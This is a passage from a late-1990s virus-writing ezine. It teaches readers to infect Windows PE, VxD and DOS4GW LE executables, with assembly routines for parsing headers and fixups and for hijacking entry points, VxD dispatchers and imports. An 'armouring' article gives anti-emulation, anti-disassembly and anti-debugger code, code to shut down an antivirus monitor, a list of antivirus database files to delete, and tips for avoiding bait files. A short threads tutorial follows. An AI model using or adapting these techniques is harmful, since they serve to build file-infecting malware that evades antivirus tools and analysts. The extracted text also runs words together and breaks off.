0h- 3FFFFFh reserved, should not be accessed 400000h-7FFFFFFFh process private area - here are all the sections form EXE mapped 80000000h-FFFFFFFFh shared area - various DLL, VxD and some other monsters

Well, as a kick start it should be enough, let go to the PE itself. PE is format suspiciously similar to the COFFformats used on the Unix systems. It consists of header and the data area which is directly mapped to theadress space of the process. The headers itself are stored before start of code so if you want to find themalign address to 4kB and track back to find page starting with 'MZ'. Of course don't forget to set exceptionhandler for page fault. EXE files are mapped staring at adress 0x400000. This starting adress is called ImageBase. It should be nosuprise the ImageBase can be set during linking process. When the file is loaded couple of things happens(shit is none of them)

1. headers are loaded into some buffer2. all the sections are mapped to some space, in order to avoid relocations, ImageBase is preffered. If the

ImageBase is not free and the program has relocation table, file is mapped elsewhere and will berelocated.

3. DLL needed by the program are mapped to the process4. pointers to imported functions are fixed5. stack is set6. program is executed (jump to some entry point)

note: i don't guarantee the steps above are performed in given order ;-)

Page 78: EZine - Asterix #2

As for the DLL mapping this process is similar, but jump to the entry point is not " just jump" but AL holdsvalue which holds information whether

DLL_PROCESS_ATTACH = 1 library is mapped to a new process and should initialise its global dataDLL_THREAD_ATTACH = 2 some proces registred library again but data have been already inicialised(DLL_PROCESS_ATTACH already performed)DLL_THREAD_DETACH = 3 some thread freed libraryDLL_PROCESS_DETACH = 0 process terminates, library is being unmapped and should terminate itsactivity

note: most likely calling of library entry point could be disabled by some way note: naturally, library doen't have own stack

Due compatibility reasons every PE file starts with MZ header, where at offset 0x3C is dword ptr to the PEheader. File is divided in somethink like sectors (with variable size, by default 0x200 - FileAlignment) and file headers(all together, not every one separated) and sections are aligned to that size. This creates some space forstoring the virus body (but under 4000 bytes) because on every section we can gain approx. 100h bytes andin the PE files do not use have to much sections. This strategy is used by CIH.

As for the structure of the headers, i strongly recommend to see file WINNT.H File header has followingstructure:

struct PE_FILE_HEADERS{ DWORD magic; // = 0x00004550 ("PE\0\0") _IMAGE_FILE_HEADER primary_header; _IMAGE_OPTIONAL_HEADER optional_header; _IMAGE_SECTION_HEADER section_headers[primary_header.NumberOfSections]; BYTE dummy[aligned to optional_header.FileAlignment];};

In the header i would like to point to some positions

_IMAGE_FILE_HEADER Machine processor, on which the file is able to run I386 = 0x14c NumberOfSections name says it all, for dummies number of the sections in program_IMAGE_OPTIONAL_HEADER SizeOfCode size of all pages alloceted for code SizeOfInitializedData size of all pages allocated for data AddressOfEntryPoint RVA adress of entry pointu (relative 2 ImageBase) ImageBase starting on this adress all the sections are mapped SectionAlignment alignment of the sections (I386=0x1000) FileAlignment alignment of the file SizeOfImage size in bytes including all headers, has 2 be multiple of object align

(allocated for code and data) SizeOfHeaders size of headers (including all section headers) CheckSum checksum - the same as in DOS - ignored Subsystem this tells the OS wheather it is windowed or console aplication DataDirectory this is a field belonging to the structure containing RVAs and sizes of some

important tables

Page 79: EZine - Asterix #2

PE code and data are divided to sections. Each section has its description in header. Main purpose of this isto tell loader where in address space should be data stored, how big area should be allocated and whatattributes should be set for them. For example code section should start at 4000000h and should be readonly and executable. Special attribute for section is SHARED. If section is shared all instances of thisprogram has this sections common. It means if one of them modifies something in section all instances cansee it.

Some word of explanation to the RVA (RelativeVirtualAdress). All the complicated operations as e.g.relocation etc... is are performed AFTER the file is mapped to the memory. If we add to the RVA value theImageBase, we get the pointer directly to the memory adress where the desired piece of information ismapped. Without mapping the problem is much harder, cos we need to search through all the sections andfind the one RVA points to.

(VirtualAddress<RVA<VirtualAddress+SizeOfRawData)

and offset in the file could be calculated as:

file_off = PhysicalAddress + RVA-VirtualAddress

And now there are only three problems to solve

1. where should we store virus body2. how to make our fine virus the supreme commander in the system (aka

we_need_to_be_first_on_the_draw)3. how to call API functions

1. Where to store the virus bodyBefore we will go any further, we should notice, that none of us known implementation of Window$ thatchecks if we execute the code in sections which is declared as data (cool enough ... :-P). This is the fact allthe viruses (and packers as well) heavy relies on.

As for the storage of the body, i saw till now 3 different strategies.

Common strategy is based on the extending the last section. In such a case is "conditio sinne qua non" -basic condition the section should be writeable in the section attributes (Intel platform could check it). As forthe implementation of this method, it easy as it could only be, but for resident viruses we can got in to thetrouble.... Physical data in the section can be followed by uninitialized data, which can be changed by theprogram. This means our fine piece of code may become fucked up. Therefore whole viral body should bemoved elsewhere.

Another method is to create new section in the file and copy virus body there. This approach has one majordisadvantage (which is nearly impossible to solve) - nonstandard section name could arise a suspiction ofsomething not very pleasant going on, not speaking of the situation header is to small for adding anothersection. Contrary, advantage is we have our section just for us, nobody can overwrite the virus. As for theimplementation, trivial again in comparision with before mentioned method we have one aditional task - weneed to know, where last section ends.

One of the non-standart method is the one used by CIH virus. This is all about the using the free space in

Page 80: EZine - Asterix #2

sectors which are aligned to FileAlignment value (0x200 by default). This technique is very clever (inventedby some as Germans use to say "Klugscheisser") as we get bonus in some cases there is no increase in filelenght plus the virus is harder to clean. This method will not be in the focus of this article as for the largesviruses in not suitable.

Main disadvantage of the first two methods is the code runs in the last section. And if some emulator gethere, there are just and only 3 options left.

1. virus2. packer3. some anti-whatever envelope

But solution is up to you - probably best way would be to use CIH approach and place entry point in the firstsections.

2. we_need_to_be_first_on_the_draw how to make our fine virus the supreme commander in the system

Most trivial solution is to modify AdressOfEntryPoint in the PE header to point to start of added (viral) code.In plain words put there RVA of virus entry point. Nothing more nothing less.

More rafined methods are e.g. to hook some import (let's say CreateFileA or whatevever is on 100% callledin every proggy) or even hook export in DLL's so every call to DLL goes through virus. This approach is nottrivial as complicated search in structures is required. Some of the options will be covered in next section.

3. How to call API functions This is the key problem of all the viruses. This problem could be transformed in the question - what API callsi need to get pointer to whatever API function?

Answer is GetModuleHandle and GetProcAdress. If we have pointers to this functions we can get pointer toany function we want. Both of this two API calls are exported from kernel32.dll. As i haven't seen any application not importingsomething from this important system module we can perform test if the file we want to infect imports fromkernel32.dll.

Then we have to search in import table and look for this two functions. If we find them, the file is suitabletarget for the infection. Imports in PE file work that way they point to some dword and in this dword will be set address of importedfunction. All the requests in the file for specific API function will look like

call dword ptr [dddd]

Advantage for us is there is no problem to hook function and at each call to this function do "something". To the import table we will get throug DataDirectory (i think index 1). This should point to the array ofstructures IMAGE_IMPORT_DESCRIPTOR. Last element of the array should have Characteristics set to 0.Name is RVA pointer to the name of the module from which the import is performed. OriginalFirstThunkpoints to array of type IMAGE_THUNK_DATA from which we can get the name of the function. Let's saz thefunction has index i. Then pointer to function f in imports will be i-th element of the dword array, to which

Page 81: EZine - Asterix #2

FirstThunk points. Last element of the array of type IMAGE_THUNK_DATA is zero.

I recommend to see it all in HIEW and then in debugger search where the desired functions are.

//// Import Format//

typedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; BYTE Name[1];} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

typedef struct _IMAGE_THUNK_DATA { union { PBYTE ForwarderString; PDWORD Function; DWORD Ordinal; PIMAGE_IMPORT_BY_NAME AddressOfData; } u1;} IMAGE_THUNK_DATA;typedef IMAGE_THUNK_DATA * PIMAGE_THUNK_DATA;

#define IMAGE_ORDINAL_FLAG 0x80000000#define IMAGE_SNAP_BY_ORDINAL(Ordinal) ((Ordinal & IMAGE_ORDINAL_FLAG) != 0)#define IMAGE_ORDINAL(Ordinal) (Ordinal & 0xffff)

typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor PIMAGE_THUNK_DATA OriginalFirstThunk; // RVA to original unbound IAT }; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real date\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND)

DWORD ForwarderChain; // -1 if no forwarders DWORD Name; PIMAGE_THUNK_DATA FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)} IMAGE_IMPORT_DESCRIPTOR;typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

As I mentioned before, there is no need to do all fixups while file is being infected. It is either possible to do itafter file is loaded. Just find old 'MZ' header and trace file structure. (What is nice, rva are almost validpointers so you need just to add base address and you can follow any structure). After you find first export toKernel32 use the same method to find start of kernel32 and then follow export table ...

As for the exports it's much easier, but i had no time for experiments and will let this problem open. If youwant know more, look for it in some PE doxes (RTFM).

I would like to point to the fact the article has been written more or less using just and only my memory (mydegenerated gray cell mass), has not been subject to verification and thus i can't guarantee any factpresented here is true :))))))If you are interested in the problem, you should see it again elsewhere, in some more reliable refference.

And finally, some warm closing words. If the fucking proggy doesn't work and you poor guy did check it allover and over about 10 times, try to find that bug in the Windows loader.

Navrhar

Page 82: EZine - Asterix #2

In this article I will announce my aproach to infection of strange platforms as are Windows VxD or dosDOS4GW. Both platforms are running under similar environment - in FLAT memory model both are extended32-bit so this is the reason why I have dealed with both of them.

So let's startIn both cases we will infect host with small loader, that will load and execute main part of virii. This strategy isnice because there is no code executed in last section and so on.LE (as I will call LX too, because there are similar or even the same), is intel friendly, because it uses 4096bytes long pages. Each section is aligned to page. This means, that in average case 2000 bytes in codesection is unused and free. Nice, isn't it :-). This wasting of space we will use to insert our short "loader" thatwill load other stuff from end of file (if you want, it may be placed elsewhere, or you may groove last section -i have a feeling that there may be debug info or other shit, so not so fast) and execute it. Because of flatmodel and you never knows where will you be loaded, this piece of code must be self-relocating. Enough oftalking, go on.

VxD starts as regular dos-executable with pointer to next header at 3Ch (just like in PE). With DOS4GW it isa bit difficult. DOS4GW starts with some stupid stub, that will load main LE/LX executable. I don't deal withthis too much, I just looked at some Dos4GW and wrote this part of code

readfile is macro as follows:

readfile ofs, size, buf reads at offset ofs+file_base+objectr size bytes to buffer buf

; check if WATCOM ? loader mov file_base, 0 ; base of start of LX (to skip stubs) mov objectr, 0

cmp byte ptr infmode, INF_DOS4 jne short continue_vxd

readfile 0h 16 le_header ; check exe signature cmp word ptr le_header, 'ZM' je short ok001 cmp word ptr le_header, 'MZ' jne novalidvxdok001:

movzx esi, word ptr [le_header+4] dec esi shl esi, 9 movzx ebx, word ptr [le_header+2] add esi, ebx

readfile esi 24h le_header cmp word ptr [le_header], 5742h ; some kind of executable? jne short continue_vxd add esi, dword ptr [le_header+20h] mov file_base, esi

continue_vxd:

now file_base should point to regular DOS 'MZ' exacutable with dword at 3ch set as it should have. So justget start of LE header like this and check some formalities:

readfile 3ch 4 le_seek

Page 83: EZine - Asterix #2

; read le header readfile le_seek 100h le_header

; check 4 signature cmp word ptr le_header, 'EL' jne nole

; check if pages are 4096 bytes long cmp dword ptr le_header+28h, 1000h jne nole ; ...

Now we have to understand some LE specific stuff. At first LE is fragmented to sections (similary like PE).Sections are called Objects here. Objects are in header and there is usually not enough space to create yourown object. This code will compute offset of eax-th section descriptor:

; compute object descriptor offset in file (relative to file_base) ; eax - object numgetobjptr: shl eax, 3 lea eax, [eax+2*eax-24] ; first object is num 1 add eax, dword ptr le_header+40h add eax, leseek ret

Object descriptor structure is as follows:

object_desc label byte ; object info record virtsize dd 0 ; object virtual size virtbase dd 0 ; object virtual base flags dd 0 ; flags pageindex dd 0 ; page index ... pageen3z dd 0 ; num of page entriez dd 0 ; alignment? object_desc_len = $-object_desc

This offset of object in file should be computed as

objectr = *(dword *)[le_header+80h] + pageindex<<12

Object in file is (of course) not fragmented. It starts at objectr and ends at (objectr+pageen3z<<12-1)

The second new entity in LE are entries. This is some kind of exports in PE. This is how to assume offset ofeax-th entry: (objectr will point to start of entry).

; this will assume entry eax (read and write will be relative to this); assume entry eax - entry numle_assume_entry: ; relative to header mov edx, leseek mov objectr, edx

; get entry offset in file add eax, eax lea eax, [eax+4*eax+1] ; * 10 + 1 add eax, dword ptr le_header[5ch]

; read entry descriptor mov ecx, 10 lea edx, buffer call rdfile

; get object num movzx eax, word ptr buffer+1

; assume this object call le_assume_object

; add relative entry offset mov eax, dword ptr buffer+4 add objectr, eax mov objoffset, eax ret

Page 84: EZine - Asterix #2

And the last thing you need to know about are relocations. Because code may be stored anywhere between0-4GB, each access to memory has to be relocated. (The only one exceptions are jumps which are relativeto itself). Because of this LE has very complex structure of relocation (much more complicated than PE).Because of complex structure of relocations, many compilers are seting values to be relocated to 0.If you really want to deal with this i will advise you to some documentation. But if you don't this is a fragmentof code that scans for relocation:

This is code i wrote to parse relocation table and to find some relocation that relocates eax: I wrote it so farago so i will be not trying to explan this - just see documentation (as far as i know there is no gooddocumentation :-( ).

; finds fixup for eax in fixup table that relocates eax; sets fixupptr = ptr to entry in fixup table (relative to filestart); parses whole fixup table in order to find an entry and create relo map; eax = pointer to find

find_fixup: mov edi, eax

xor eax, eax mov fixupptr, eax mov fix32, al mov fix_important, al

; allocate table for relos mov eax, RELO_TABLE_SIZE/8 mod_call md_alloc mov relo_map_ptr, eax

; make whole area unusable push edi mov edi, eax

xor eax, eax dec eax mov ecx, RELO_TABLE_SIZE/8/4 rep stosd

pop edi

; walk across all objects and process some of them

xor eax, eax inc eax

@@loop_section: push eax

; eax = object ptr call le_assume_object

mov eax, leseek mov objectr, eax ; base to LE filestart

test flags, 10100000b jnz @@skip_this_object

mov eax, objpage mov temp_base, eax

; get size of object mov ecx, pageen3z push ecx shl ecx, 12 call zero_out_block

pop ecx mov eax, pageindex

Page 85: EZine - Asterix #2

; walk through page map and fixup entries

@@process_page: push eax ecx

; load item

; 4 bytes long entry dec eax shl eax, 2 add eax, dword ptr [LE_header +48h]

mov ecx, size page_map_table_entry lea edx, page_desc call rdfile

; doesn't work on VxD LE files; cmp page_desc.page_type, 0; je @@hardcopy_no_work

movzx eax, page_desc.fixup_index xchg al, ah

; now get ptr to relocation by index push eax dec eax shl eax, 2 add eax, dword ptr [LE_header+68h]

lea edx, fixup_cur xor ecx, ecx mov cl, 8 call rdfile ; in this table is one entry with no meaning, just ; identifying end

pop eax

mov ecx, fixuptrnext mov eax, fixup_cur sub ecx, eax

add eax, dword ptr [LE_header+6ch]

; eax points to fixup table

; process ecx bytes from fixup record add ecx, eax

sub edi, temp_base

@@loop_this_page: cmp eax, ecx jae @@just_done

@@cont_relo: push eax ecx

; load relocation in buffer lea edx, buffer mov ecx, 20h call rdfile

; process relocation lea esi, buffer xor eax, eax

; get first byte lodsw mov ecx, eax

; test if single test cl, 20h jnz @@multiple1

lodsw call set_eax

cmp eax, edi sete fix_important

Page 86: EZine - Asterix #2

jmp @@not_multi

@@multiple1:

lodsb ; count mov dl, al

@@not_multi:

; check for unknown relocation mov eax, ecx and ax, 0001100001111b cmp ax, 7h je @@type_78 cmp ax, 8h je @@type_78

; marker 'unknown relocation'; raise_x INF_FILE_FATAL

@@type_78:

; assume object is 8 bit lodsb ; if important object store ptr and size cmp fix_important, 1 jne @@no_important

mov fixupptr, esi sub fixupptr, offset cs:buffer mov eax, dword ptr [esp+4] add fixupptr, eax mov eax, objectr add fixupptr, eax xor eax, eax

test ch, 10h setnz fix32

@@no_important: lodsw test ch, 10h ; check if 32-bit jz @@fixed lodsw

@@fixed:

test cl, 20h jz @@nomultiple2

mov @@prefix, 66h test cl, 10h jz @@no_prefix_chg

; marker '32-bit repeated relo' mov @@prefix, 90h

@@no_prefix_chg:

movzx ecx, dl@@enz:@@prefix db 66h, 0adh ; lodsw

call set_eax

loop @@enz

@@nomultiple2:

pop ecx eax

sub esi, offset cs:buffer add eax, esi

jmp @@loop_this_page@@just_done:

add edi, temp_base

; done

Page 87: EZine - Asterix #2

@@hardcopy_no_work: pop ecx eax

inc eax

add temp_base, 1000h

dec ecx jnz @@process_page

@@skip_this_object:

pop eax inc eax cmp eax, dword ptr [le_header+44h] ; cnt of objects jbe @@loop_section

ret

set_eax: push eax ebx add eax, temp_base shr eax, RELO_TABLE_BLOCK_SIZE

cmp eax, RELO_TABLE_UPPER_LIMIT ja @@err

mov ebx, relo_map_ptr

btr dword ptr [ebx], eax

pop ebx eax ret@@err: ;marker 'RELO_TABLE_EXCEED' pop ebx eax ret

zero_out_block: push eax ebx ecx

mov ebx, relo_map_ptr

shr eax, RELO_TABLE_BLOCK_SIZE

@@zero_out_next: btr dword ptr [ebx], eax inc eax cmp eax, RELO_TABLE_UPPER_LIMIT jae @@cln_exceed sub ecx, (1 shl RELO_TABLE_BLOCK_SIZE) jb @@zero_out_next

@@cln_exceed: pop ecx ebx eax ret

This is way i proceed VxDs:

1. some check

mov eax, dword ptr le_header+18h ; entry object or eax, dword ptr le_header+1ch ; entry offset jne novxd ; seems to be a real executable ! ; UPDATE

2. check if there is enough space in code section. i assume code section is section 1 (first section).3. assume DDB entry - this is entry that describes VxD in Windows this contains pointer to control

dispatcher. This is a functions that handles various events, and this is how we get to turn. Pointer todispatcher is first 4-bytes of DDB

4. find fixup for dispatcher

Page 88: EZine - Asterix #2

5. write your code to end of code section, groove this section and change fixup to start of your code. besure that after end of your loader you return control to previous dispatcher. Note: the value ofrelocation is more trustable than value in DDB

And what your dispatcher should do:

1. test for special event (number in eax). I used 2 (Init_Complete) that is sent to all VxDs after init ofwindows is complete.

2. check wether there is anybody resident (because you are at VxD level, you have full control ofcomputer, you don't need to have multiple instances)

3. load your dropper from end of file (file name will be stored by infection - vxd should not be moved)4. run your code

Some hints on ring 0

Of course after your code is running in the memory you may do anything what may a regular VxD do.There are no restrictions. At first because interface for VxD calls. Every VxD call looks like this:

db 0cdh, 20h, xx, xx, xx, xx

where xx xx xx xx is number of service. It means there are no imports and exports needed. After thiscode is executed it is patched to

call dword ptr [addr]

where addr is pointer to some internal table where is stored pointer to function. You must agree thiswas designed for viruses to get control over service. This may be useful, when you want to checkwether you are resident or not.About hooking filesystem just see IFS_Mgr_InstallFileSystemApiHookAnd for last dont forget in_resident flag and mutexes or other synchronizing stuff.

That's all about this .... happy coding

And now some few words about DOS4GW LE:In DOS4GW you may relay to DPMI (that should be supportet quite good) under any platform it works.

1. get entry point at le_header+1ch is offset (relative to start of section and at le_header+18h is object no2. groove object (if enough space) and store loader at end of section3. set new entry offset

You don't need to deal with fixupps and other shit.

Your loader will do this:

1. start with short jump followed by "WATCOM" if this is not loader will say something like "Invalidexecutable" and this is way how to test wether executable is compiled by WATCOM too

2. load code from end of file and run it (environment segment is at ES:2C like usually, you may use dos

Page 89: EZine - Asterix #2

services (int 21h) and DPMI (int 31h) - that is all you need)

As you see DOS4GW is pretty easy target ...

What to say at the end? ... do your best!

Page 90: EZine - Asterix #2

DisclamerThe followin' document is an education purpose only. Author isn't responsible for any misuse of the thingswritten in this document.

ForewordEvery good virus should be armoured. Armoured means have some features, by which will be harder todetect, harder to emulate, harder to disassemble, harder to trace, harder to monitor or harder to understand.I will discuss here all techniques, which has some special meaning in virus programming.

IntroductionActually, there r many ways, how to protect virus against AVs and Averz under so weird interface as Win32is. Something is often used, something isn't. Here is a "short" list of techniques, which I will describe:

anti-emulatoranti-heuristicsanti-analysis (anti-disasm)anti-debuganti-monitoranti-antivirus (retro)anti-bait

Anti-Emulator - fool AVs by some tricksBy heuristic analysis, AVs SHOULD be find every virus, even unknown one. It worx like coder, whichdebugging some program. Heuristic scanner passes thru the code and looking for some suspicious code. Itmay be procedure for searching APIs, procedure to jump to ring-0, working with wildcards of executablefiles, opening executable file for write etc... Heuristic analysis is very good idea, nevertheless, not very wellrealised. AVs have many bugs and "sometimes", they can't recognize viral code. Some heuristic scannershave problems with undocumented opcodes, another scanners can't work with selectors and almost everyscanner can't handle stack properly. Here r the techniques, which r used by many viruses and which stillseems to be problem for heuristic scanners:

Use selectors and stack

mov eax, ds ;load DS push eax ;some pop ds ;stuff mov ebx, ds ;load DS again cmp eax, ebx ;compare selectors jne emul_present ;if not same, quit

or

Page 91: EZine - Asterix #2

mov edx, esp ;load ESP push cs ;some pop eax ;stuff cmp esp, edx ;compare stack pointer jne emul_present ;quit if not equal

Use RETF instruction

push cs ;store CS push offset label ;store address of procedure retf ;and go there

Use undocumented opcodes

db 0D6h ;SALC db 0F1h ;BPICE

And more...

Anti-Heuristics - fool AVs by advanced technologiesAnti-Emulator uses holes in heuristic scanners. But at Anti-Heuristic case, we uses more advancedtechnology to fool AVs. If AVerz were able to "patch" holes in AVs, here it won't be so easy. They will need torebuild their emulator and add new features (e.g. support of SEH). In DOS-viruses beginnings, viruses triedto hook Int 0 (divide by zero) and then divided register by zero. This caused, that execution was redirected toanother place. AVerz had to rebuild their heuristic analysis to support hooking of interrupt vectors. This isperfect example of anti-heuristic technology. Next good example is poly-layered polymorphic decryptor. Timedidn't chang so much and we use similar techniques to cause AVs to support newer and newer techs. Here rsome examples:

Use Structured Exception Handling

@SEH_SetupFrame <seh_proc> ;setup SEH handler to seh_proc xchg [edx], eax ;cause GP fault ... ;garbage codeseh_proc: @SEH_RemoveFrame ;remove SEH handler ... ;code continue here

Use threads and fibersUse pentium+, copro, MMX, 3DNow! opcodesImplement metamorphism to your virusImplement mid-infection and EPO (EntryPoint Obscuring) techniquesRedirect code to another place by callbacksAnd so on...

Some coderz call this technique as anti-emulator and previous as anti-heuristic. I don't know, whichexpresion is right (nobody knows :D) and I don't care. I think, that previous stuff was clear...

Anti-Analysis - fool disassemblers by some tricksGood virus should use some tricks, by which some curious ppl (such as AVers) won't be able to analyse itmuch easy. Really, there ain't anything easier for AVer than open IDA or Sourcer and see whole code as itwas original source. Static analysis is very frequently used to analyse virus, don't forget it. Those tricks r stillsame and some of them r also used as Anti-Debugging technique.

Page 92: EZine - Asterix #2

Encrypt/cipher your virus as much as possibleDon't code generic delta offset stuff, rather use:

call labelgdelta: db 0b8h ;MOV opcodelabel: pop ebp ;get delta offset ... ;next code mov eax, [ebp + variable - gdelta] ;example of handling EBP

Use jump into instructions

jmp opcd+1 ;jump into instructionopcd: mov eax, 0fcebfa90h ;NOP, CLI, infinite loop

Use prefixes (similar as in delta_offset example)

proc1: movzx ecx, word ptr [edi+4] ;some code ret ;quit from procedure db 0b8h ;prefix (MOV EAX, ...)proc2: mov eax, [edi+3ch] ;some code ret ;quit from procedure

Patch dynamic code at run-time (this can be also called as anti-heuristic if u will patch code in somehidden procedure, such as in thread etc...)

call labelpatch: ... ;some garbage code jmp shit ;... ... ;normal codelabel: mov [patch], 90909090h ;overwrite garbage with NOPs ret ;and quit from procedure

Anti-Debug - harder to analyseIn previous examples we tried to fool machines - emulators and disassemblers. But now, we will try to foolAVerz, and that's very hard. AVerz aren't dumb (mmm, ofcoz there r some exceptions :D), so it is veryimportant to make analysis of your virus harder. As much as possible. If virus cannot be analysed bydisassembler, AVerz uses debuggers. Debuggers r easily detectable (Win32 interface allows it to us), buttheir detection mechanism shouldn't be very visible (AVerz can simply jump over the code).

Use Win98/NT API to detect API level debugger - IsDebuggerPresent

call IsDebuggerPresent ;call API xchg eax, ecx ;result to ECX jecxz debugger_not_present ;if ZERO, debugger not present

Check context of debugger

mov ecx, fs:[20h] ;load context of debugger jecxz debugger_not_present ;if ZERO, debugger not present

Use Structured Exception Handling (see Anti-Heuristics)Use VxD service (Ring-0 only) to detect drivers in memory - Get_DDB

mov eax, 202h ;SoftICE ID number VxDCall Get_DDB ;call service xchg eax, ecx ;result to ECX jecxz sice_not_present ;SoftICE not present

Use Win32 compatible way to detect drivers in memory - CreateFileA

xor eax, eax ;EAX=0 push eax ;parameters push 4000000h ;for push eax ;CreateFileA push eax ;API

Page 93: EZine - Asterix #2

push eax ;function push eax ;... push offset sice ;name of driver call CreateFileA ;open driver inc eax ;is EAX==0? je sice_not_present ;yeah, SoftICE is not present dec eax ;no, push eax ;close its handle call CloseHandle ;... ... ;and make some actionsice db '\\.\SICE',0 ;SICE driver under Win9X;sice db '\\.\NTICE',0 ;SICE driver under WinNT

Play with debug registers (Ring-0 only)

mov eax, '****' ;set already_infected mark mov dr0, eax ;to dr0

Calculate CRC32 and check it at virus start. It prevents from inserting breakpoints to code.Play with paging and SMM mode (see XiNE#4)

Anti-Monitor - killing watch-dogsResident shields (monitors) r resident programs used to catch viruses. Monitors r activated, when executablefiles (usually) r opened, closed, executed, etc... Virus can be cought by monitor not only when infected file isbeing executing, but also when file is being copying. This on-line virus security is very efficent and manystupid users have installed some monitor. That's a problem. If monitor is installed as standard Win32application in memory, it won't be big problem to get rid of that. Bad stuff is that this code doesn't work onAVs, which use special driver (VxD, WDM, ...) to control file access.

Firstly we have to find window, which will we close. We will use FindWindowA API:

wAVP db 'AVP Monitor',0 ;window title ... mov eax, offset wAVP ;window title push eax ;push parameter cdq ;EDX=0 push edx ;window class - NULL call FindWindowA ;find window xchg eax, ecx ;swap EAX with ECX jecxz quit ;if ECX=0, quit

If AVP monitor window exists, we have window handle in EAX register. Otherwise, EAX is NULL. We will usethat handle to send close message:

push edx ;NULL parameter push edx ;NULL parameter push 12h ;WM_QUIT message push ecx ;window handle call PostMessageA ;send message!

Geee, and AVP monitor is away! I also tested it with NODICE and it also worked. U can close anothermonitors, if u know titles of their windows.

Anti-Antivirus - destroy your enemy!If u wanna be sure, that stupid user won't find your virus, then correct that "problem" on AV side - erase ormodify AV crc files and AV databases. Here r the most important files, which should be erased (mm, butdon't forget that after u delete viral database, AV won't run) or in better case - only modified (e.g. delete virusfrom database):

Page 94: EZine - Asterix #2

*.AVC - AVP viral databaseAVP.CRC - AVP crc file*.VDB - DrWeb viral databaseNOD32.000 - NODICE viral databaseANTI-VIR.DAT - TBAV crc fileCHKLIST.MS - MSAV crc file+ some other old AV crc files

Anti-Bait - don't infect AV filesBaits r mostly silly do-nothing programs and the only one purpose of their existency is to be infected by virus.That program can be easily analysed, easier than winword.exe, for example. And becoz we wanna make jobto AVs as hard as possible, we r tryin' to not infect those shitty programs. Baits r usualy named as00000000.EXE, 00000001.EXE, 00000002.EXE, etc. The first advice is don't infect files with digits in itsname. But take care! Many normal programs has digits in its name, such as winrar95.exe or wincmd32.exe.So, if u don't wanna infect baits, but wanna infect standard applications, check, if filename contains digits atall 4, 6 or 8 positions. How easy...X-D

Closin'I hope this article will help u with coding under Win32 and u will find it useful. If u didn't understandeverything, then read it again or cotact your netwerk supervisor :)). Don't forget to use some techniques fromthis article to be sure your virus will be better than average.

Benny / 29A, 1999

Page 95: EZine - Asterix #2

DisclamerThe followin' document is an education purpose only. Author isn't responsible for any misuse of the thingswritten in this document.

ForewordThreads r relatively new, but very useful and very perspective feature/tech used by some new Win9X/NTviruses. This article describes everything important about threads. Becoz I wrote many multithreaded virusesand actually I'm coding new one, I decided to write this. Everything, what is described here I researched - so,be tolerant to this - this article ain't for lamerz and I expect, u will research a bit on it and won't only rewritingexisting code.This is my third article about threads. If u would like to read my first articles, then u have to wait for 29A#4releasion (there r explained more details with more examples). Be patient and promise me u will read it :)

Introduction - why threads?In my opinion, to know threads is must. If someone doesn't know threads, then he doesn't know Win32.That's a shame - many VXerz which code for Win32 doesn't know threads, albeit it has many advantages. Ithink it is same "kewl and useful technology" as was polymorphism.Well, here comes the main question - what is thread? It is hard to explain to someone, who doesn't knowwhat processes. Ok, then, what is process?

Processes - definitionProcess is defined as one instance of running program. Example: u have one program - calculator. If u willhave three calculators running, u still have one program, but also three executed processes. Oppositely toWin16 interface, process in Win32 is nonactive. Process can only own something - 4GB private addressspace, code, data, handles, allocated memory, kernel objects and such like. Everything allocated by processor system is automatically dealocated after process will quit. Process can't execute code.

Threads - definitionThread is kernel object and is owned by process. Thread is executing code. Where in Win16 operatingsystem was swiching (commiting processor time) between tasks (processes), in Win32 is operating systemswitching between threads. Process can create so many threads as it want (blah, it's limited by memory andDWORD capacity :D). Imagine this situation: u have executed one instance of Calculator and WinWord.Calculator has only one thread and WinWord has five threads. In that case, operating system will commitprocessor time "parallely" to six threads (depending on set priorities) - Win16 could switch only betweenprocesses and there were no threads.Threads r very often used in Win32. For example, if u wanna print something from some editor, then editorwill create new thread which will service printing and u will still be able to edit text - one thread for editting,second thread for printing. Big advantage is that all threads r scheduled by operating system. All u need is tosynchronize them - and thats the most difficult.When new process is created, the system will by default create first thread, also called "primary thread".Remember it!

Page 96: EZine - Asterix #2

Using threads under Win32 environmentHere I will talk about Win32 compatible way of using threads.

1. TheoryCoding threads for Win32 seems easy. In fact, it's easy, but u must know some system structures andcharacteristics.If u will create threads by following API, your code should work on all Win32 platformz. Before we will talkabout creating threads, u should know some important things.

Thread owns its:

context structurestack

Context structure contains all registers. Everytime, when system switch to another thread, it will restore allregisters from that strucure. Context structure is the only one processor-dependent structure in all Win32.Every thread has also its own stack allocated in 4GB address space. Standard size of stack is 1MB.

Process can be created by CreateThread API function:

Syntax:HANDLE CreateThread (LPSECURITY_ATTRIBUTES lpsa, DWORD cbStack,

LPTHREAD_START_ROUTINE lpStartAddr, LPVOID lpvTParam,DWORD fdwCreate, LPDWORD lpThreadID);

Parameters:a) lpsa: Pointer to SECURITY_ATTRIBUTES structure. For default security attributes use

NULL value.b) cbStack: Size of stack. Use NULL for default stack = 1MB.c) lpStartAddr: Address of thread function.d) lpvTParam: 32bit parameter which will be passed to thread.e) fdwCreate: If u want to create thread, but suspend commiting cpu time, then push

CREATE_SUSPENDED. That thread will stay suspended until u callResumeThread API.

f) lpThreadID: Must be valid address to DWORD variable. ID of created thread will be storedthere.

This API will create new Win32 compatible thread. As output u will get actual process related handle andwhole-system related ID number. Thread handle as any other handles is valid only for one actual process, IDnumber is valid in all system until thread will be closed.

Thread can be terminated by ExitThread or TerminateThread APIs:

Syntax:void ExitThread (UINT fuExitCode);This API will terminate actual thread and set exit code to fuExitCode.

Syntax:

Page 97: EZine - Asterix #2

BOOL TerminateThread (HANDLE hThread, UINT fuExitCode);This API can terminate thread handled by hThread handle. Oppositely to previous API, this APIcan terminate any thread, not only actual one. But be carefull! If u terminate thread which iswriting to disk, it can cause damages to system!

There r many other APIs for work with threads, but this article ain't so much practical as theoretical. If u rreally interested in thread and if u wanna know more about it, download Win32 SDK or contact me.

